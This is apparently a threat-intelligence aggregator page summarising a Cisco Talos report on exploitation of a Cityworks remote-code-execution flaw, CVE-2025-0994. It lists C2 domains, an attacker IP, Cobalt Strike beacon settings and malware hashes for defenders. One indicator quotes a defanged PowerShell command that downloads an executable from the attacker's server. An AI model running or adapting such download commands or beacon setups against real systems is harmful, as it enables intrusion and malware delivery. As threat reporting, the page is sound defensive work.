UAT-6382 exploits Cityworks zero
Vulnerabilities mentioned
All| CVE | Vulnerability | CVSS | EPSS | Signals | Published |
|---|---|---|---|---|---|
| CVE-2025-0944 | A vulnerability was found in itsourcecode Tailoring Management System 1.0 | 5.3 | 1% | PoC | |
| CVE-2025-0994 | Authenticated Deserialization RCE in Trimble Cityworks | 8.6 | 31% | KEV | KEV |
Indicators of compromise
auto-extracted · verify before use · export allAll| Type | Indicator | Context |
|---|---|---|
| domain | cdn.lgaircon.xyz | covered reaches out to the command-and-control (C2) domain “cdn[.]lgaircon[.]xyz” and specifically consists of the following configurati |
| domain | cdn.phototagx.com | 91b8dd91a8bbb8cdefd94d4568a4aea8e1dcdd8869f738 Network IOCs cdn[.]phototagx[.]com www[.]roomako[.]com lgaircon[.]xyz https://www[.]roomak |
| domain | lgaircon.xyz | PublicKey_MD5 - 00c96a736d29c55e29c5e3291aedb0fd C2Server - lgaircon[.]xyz,/owa/OPWiaTU-ZEbuwIAKGPHoQAP006-PTsjBGKQUxZorq2 UserAgent |
| domain | www.roomako.com | ts - 0 Retry_Duration - 0 Another beacon reaches out to C2 “www[.]roomako[.]com” and has the following configuration: BeaconType - HTTP |
| ipv4 | 192.210.239.172 | exe /c powershell -Command Invoke-WebRequest -Uri 'hxxp[://]192[.]210[.]239[.]172:3219/LVLWPH[.]exe' -OutFile '<parent_directory>\LVLWP |
| md5 | 00c96a736d29c55e29c5e3291aedb0fd | ze - 2097152 Jitter - 30 MaxDNS - Not Found PublicKey_MD5 - 00c96a736d29c55e29c5e3291aedb0fd C2Server - lgaircon[.]xyz,/owa/OPWiaTU-ZEbuwIAKGPHoQAP006-P |
| sha256 | 14ed3878b6623c287283a8a80020f68e1cb6bfc37b236f33a95f3a64c4f4611f | n also be found in our GitHub repository here . TetraLoader 14ed3878b6623c287283a8a80020f68e1cb6bfc37b236f33a95f3a64c4f4611f 4ffc33bdc8527a2e8cb87e49cdc16c3b1480dfc135e507d552f581a67d1 |
| sha256 | 1c38e3cda8ac6d79d9da40834367697a209c6b07e6b3ab93b3a4f375b161a901 | c03927bcd2810ce98205ff871ef1ebf4344fba187e126e50caa1e43250b 1c38e3cda8ac6d79d9da40834367697a209c6b07e6b3ab93b3a4f375b161a901 CobaltStrike beacons C02d50d0eb3974818091b8dd91a8bbb8cdefd9 |
| sha256 | 1de72c03927bcd2810ce98205ff871ef1ebf4344fba187e126e50caa1e43250b | 3bdc8527a2e8cb87e49cdc16c3b1480dfc135e507d552f581a67d1850a9 1de72c03927bcd2810ce98205ff871ef1ebf4344fba187e126e50caa1e43250b 1c38e3cda8ac6d79d9da40834367697a209c6b07e6b3ab93b3a4f375b16 |
| sha256 | 4ffc33bdc8527a2e8cb87e49cdc16c3b1480dfc135e507d552f581a67d1850a9 | 878b6623c287283a8a80020f68e1cb6bfc37b236f33a95f3a64c4f4611f 4ffc33bdc8527a2e8cb87e49cdc16c3b1480dfc135e507d552f581a67d1850a9 1de72c03927bcd2810ce98205ff871ef1ebf4344fba187e126e50caa1e4 |
| sha256 | c02d50d0eb3974818091b8dd91a8bbb8cdefd94d4568a4aea8e1dcdd8869f738 | 67697a209c6b07e6b3ab93b3a4f375b161a901 CobaltStrike beacons C02d50d0eb3974818091b8dd91a8bbb8cdefd94d4568a4aea8e1dcdd8869f738 Network IOCs cdn[.]phototagx[.]com www[.]roomako[.]com lgai |
From the original article
9 min read at blog.talosintelligence.com
Cisco Talos has observed exploitation of CVE-2025-0994 , a remote-code-execution vulnerability in Cityworks, a popular asset management system. The Cybersecurity and Infrastructure Security Agenc y (CISA) and Trimble have both released advisories pertaining to this vulnerability, with Trimble’s advisory specifically listing indicators of compromise (IOCs) related to the intrusion exploiting the CVE.
By Asheer Malhotra · blog.talosintelligence.com
A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.